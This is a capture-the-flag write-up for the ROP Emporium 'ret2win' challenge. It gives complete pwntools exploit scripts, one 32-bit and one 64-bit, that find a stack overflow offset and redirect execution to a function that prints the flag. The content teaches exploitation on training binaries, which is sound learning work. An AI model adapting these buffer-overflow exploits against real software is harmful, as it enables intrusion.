> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/web2-ctf/rop-emporium/ret2win.md).

# ret2win

## ret2win 32bit

### Solution

This is a typical ret2text challenge**.** There is an unused function `ret2win` located in the `.text` segment that calls `system("/bin/cat flag.txt")` for us. This is sometimes called "dead code".

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="i386", os="linux")
elf = ELF("ret2win32", checksec=False)

#--------Offset--------#

p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.eip)

log.info(f"{offset = }")

#--------ret2text--------#

ret2win = elf.sym["ret2win"]

payload = flat(
    b"A" * offset,
    ret2win,
)

p = elf.process()

p.sendlineafter("> ", payload)

p.interactive()
```

## ret2win 64bit

### Solution

The idea is essentially the same as the 32-bit case.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("ret2win", checksec=False)

#-------Offset--------#

p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.read(core.rsp, 4))

log.info(f"{offset = }")

#--------ret2text--------#

ret2win = elf.sym["ret2win"]

payload = flat(
    b"A" * offset,
    ret2win,
)

p = elf.process()

p.sendlineafter("> ", payload)

p.interactive()
```